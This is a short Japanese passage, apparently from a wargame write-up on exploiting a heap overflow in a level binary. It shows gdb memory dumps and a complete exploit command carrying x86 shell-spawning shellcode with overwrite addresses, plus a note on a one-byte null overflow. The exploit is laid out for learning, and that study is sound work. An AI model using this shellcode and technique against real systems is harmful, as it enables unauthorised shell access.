なので、(3)のアドレス0x△△△△△△△△を(c)からはじまるアドレスのどこかに配置すれば…
(gdb) b *0x8048757 Breakpoint 1 at 0x8048757 (gdb) run `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "\x90\x90\x90\x90" + "\x44\x10\x30\x28" + "\x6c\x10\x30\x28"'` Breakpoint 1, 0x08048757 in ?? () (gdb) x/32x 0x28301070 - 64 0x28301030: 0x00000000 0x00000000 0x00000000 0x00000000 0x28301040: 0x08048918 0x8950c031<-(c) 0x10e883e0 0x31e38950 0x28301050: 0x2f6850c0 0x6868732f 0x6e69622f 0xc031e289 0x28301060: 0x50525350 0x80cd3bb0 0x90909090 0x28301044<-(e) 0x28301070: 0x2830106c<-(b) 0x8950c031<-(d) 0x10e883e0 0x31e38950 0x28301080: 0x2f6850c0 0x6868732f 0x6e69622f 0xc031e289 0x28301090: 0x50525350 0x80cd3bb0 0x90909090 0x28301044 0x283010a0: 0x2830106c 0x00000000 0x00000000 0x00000000
という感じで、(c)に格納しているshellcodeを実行する事が可能。
$ ../level5/virtual `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "\x90\x90\x90\x90" + "\x44\x10\x30\x28" + "\x6c\x10\x30\x28"'`
バッファが16バイトで、文字列16文字をそこにコピーすると、 文字列の最後に付加される\0が1バイトだけはみ出る。
ヒープオーバーフローの攻略